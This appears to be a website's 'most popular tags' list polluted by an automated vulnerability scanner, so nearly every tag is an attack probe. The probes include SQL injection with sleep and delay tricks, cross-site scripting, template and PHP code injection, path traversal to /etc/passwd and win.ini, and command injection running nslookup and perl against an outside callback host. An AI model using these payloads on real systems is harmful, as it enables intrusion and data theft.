• !(()&&!|*|*|
• !--
• "+"A".concat(70-3).concat(22*4).concat(100).concat
• "+"A".concat(70-3).concat(22*4).concat(107).concat
• "+"A".concat(70-3).concat(22*4).concat(110).concat
• "+response.write(9009799*9995431)+"
• "+response.write(9383788*9919667)+"
• "+response.write(9823883*9262844)+"
• ".gethostbyname(lc("hitdw"."keyjddis2615c.bxss.me.
• ".gethostbyname(lc("hitkj"."shloreexba9a8.bxss.me.
• ".gethostbyname(lc("hityl"."tkgnujkbd8ac2.bxss.me.
• ";print(md5(31337));$a="
• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
• "onmouseover=6KXF(90685)//
• "onmouseover=9Gtc(90905)//
• "onmouseover=AQ3N(96595)//
• "onmouseover=gnzU(95195)//
• #{98991*97996*98991*97996}
• $(nslookup hitkurarfkhyv08fdf.bxss.me||perl -e "ge
• $(nslookup hitzkbedokaoi05256.bxss.me||perl -e "ge
• $(nslookup hitzkuoyxuizb15cf1.bxss.me||perl -e "ge
• ${10000182+10000256}
• ${10000490+10000458}
• ${9999184+10000086}
• ${@print(md5(31337))}
• ${@print(md5(31337))}\
• %31%37%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%4
• %31%37%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%39%4
• %31%37%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%41%5
• %31%37%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%67%6
• %31%37%3C%53%63%52%69%50%74%20%3E%36%4B%58%46%2896
• %31%37%3C%53%63%52%69%50%74%20%3E%39%47%74%63%2896
• %31%37%3C%53%63%52%69%50%74%20%3E%41%51%33%4E%2897
• %31%37%3C%53%63%52%69%50%74%20%3E%67%6E%7A%55%2895
• %={{={@{#{${dfb}}%
• &(nslookup hitgarhwyrtrp9ae65.bxss.me||perl -e "ge
• &(nslookup hithsjnwwxwamc4b9b.bxss.me||perl -e "ge
• &(nslookup hitqudxawmrspfe15e.bxss.me||perl -e "ge
• &echo rpwnkt$()\ nfwkgz\nz^xyu||a #' &echo rpwnkt$
• &echo uefeho$()\ ncsezr\nz^xyu||a #' &echo uefeho$
• &echo wqsela$()\ nyfofu\nz^xyu||a #' &echo wqsela$
• &nslookup hitalxxtjkzxz31e6e.bxss.me&'\"0&nslookup
• &nslookup hitjedcitokgk73e9d.bxss.me&'\"0&nslookup
• &nslookup hitmpekpyuljo54de9.bxss.me&'\"0&nslookup
• '"
• '"()
• '"()&%zzzScRiPt 6KXF(9471)/ScRiPt
• '"()&%zzzScRiPt 9Gtc(9605)/ScRiPt
• '"()&%zzzScRiPt AQ3N(9507)/ScRiPt
• '"()&%zzzScRiPt gnzU(9125)/ScRiPt
• '+'A'.concat(70-3).concat(22*4).concat(108).concat
• '+'A'.concat(70-3).concat(22*4).concat(110).concat
• '+response.write(9009799*9995431)+'
• '+response.write(9383788*9919667)+'
• '+response.write(9823883*9262844)+'
• '.gethostbyname(lc('hitdr'.'fbvrfzhmc769e.bxss.me.
• '.gethostbyname(lc('hitez'.'rhffhsaf85f6b.bxss.me.
• '.gethostbyname(lc('hitng'.'imfwneuh3f905.bxss.me.
• '.print(md5(31337)).'
• ';print(md5(31337));$a='
• (nslookup hitknwbwhbyhve6980.bxss.me||perl -e "get
• (nslookup hitkuwmqbeiwr1ab22.bxss.me||perl -e "get
• (nslookup hitpwmmrbelogfa476.bxss.me||perl -e "get
• (nslookup hitqnbqpxdyepcc140.bxss.me||perl -e "get
• (nslookup hitrqpeppcausa239d.bxss.me||perl -e "get
• (nslookup hitsunuzmywqra7762.bxss.me||perl -e "get
• (select(0)from(select(sleep(15)))v)/*'+(select(0)f
• )
• ))))))))))))))))))))))))))))))))))))))))))))))))))
• -1 OR 2+159-159-1=0+0+0+1
• -1 OR 2+275-275-1=0+0+0+1 --
• -1 OR 2+36-36-1=0+0+0+1 --
• -1 OR 2+644-644-1=0+0+0+1 --
• -1 OR 2+819-819-1=0+0+0+1
• -1 OR 2+893-893-1=0+0+0+1
• -1" OR 2+489-489-1=0+0+0+1 --
• -1" OR 2+54-54-1=0+0+0+1 --
• -1" OR 2+623-623-1=0+0+0+1 --
• -1' OR 2+116-116-1=0+0+0+1 or '32LxXOmE'='
• -1' OR 2+284-284-1=0+0+0+1 --
• -1' OR 2+623-623-1=0+0+0+1 --
• -1' OR 2+940-940-1=0+0+0+1 or '9YY1wryS'='
• -1' OR 2+958-958-1=0+0+0+1 --
• -1' OR 2+991-991-1=0+0+0+1 or 'ze1tYQtV'='
• -1)) OR 188=(SELECT 188 FROM PG_SLEEP(15))--
• -1)) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
• -1)) OR 752=(SELECT 752 FROM PG_SLEEP(15))--
• -1); waitfor delay '0:0:15' --
• -1; waitfor delay '0:0:15' --
• -5 OR 308=(SELECT 308 FROM PG_SLEEP(15))--
• -5 OR 331=(SELECT 331 FROM PG_SLEEP(15))--
• -5 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
• -5) OR 25=(SELECT 25 FROM PG_SLEEP(15))--
• -5) OR 474=(SELECT 474 FROM PG_SLEEP(15))--
• -5) OR 779=(SELECT 779 FROM PG_SLEEP(15))--
• ../../../../../../../../../../../../../../etc/pass
• ../../../../../../../../../../../../../../windows/
• ../17
• /etc/shells
• 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
• 0TwptalB'; waitfor delay '0:0:15' --
• 1
• 1 waitfor delay '0:0:15' --
• 1%2527%2522
• 1'"
• 12345'"\'\");|]*{''💡
• 17
• 17" 0T2T=9Gtc([!+!]) KJ0="
• 17" jOJv=6KXF([!+!]) zIr="
• 17" NrRB=gnzU([!+!]) b1V="
• 17" W0D4=AQ3N([!+!]) iiy="
• 17"&&sleep(27*1000)*hvhonn&&"
• 17"&&sleep(27*1000)*oaxhwh&&"
• 17"&&sleep(27*1000)*rfyeje&&"
• 17"onmouseover=6KXF(90812)"
• 17"onmouseover=6KXF(91552)"
• 17"onmouseover=9Gtc(95352)"
• 17"onmouseover=9Gtc(96332)"
• 17"onmouseover=AQ3N(91402)"
• 17'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||C
• 17*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR
• 17esi:include src="http://bxss.me/rpb.png"/
• 17iframe src='data:text/html;base64,PHNjcmlwdD5hbG
• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
• 1}}"}}'}}1%"%'%%={{={@{#{${dfb}}%
• ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))
• ^(#$!@#$)(()))******
• _qf__force_multiselect_submission
• a HrEF=http://xss.bxss.me/a
• a HrEF=jaVaScRiPT:
• bxss.me
• bxss.me/t/xss.html?%00
• C1
• c:/windows/win.ini
• dfb[[${98991*97996}]]xca
• dfb__${98991*97996}__::.x
• dfb{{98991*97996}}xca
• edit.php
• edit.php/.
• file:///etc/passwd
• Grammar
• Http://bxss.me/t/fit.txt
• http://bxss.me/t/fit.txt?.jpg
• HttP://bxss.me/t/xss.html?%00
• http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriyl
• if(now()=sysdate(),sleep(15),0)
• th:t="${dfb}#foreach
• xfs.bxss.me
• Y2S1

Showing 150 most popular tags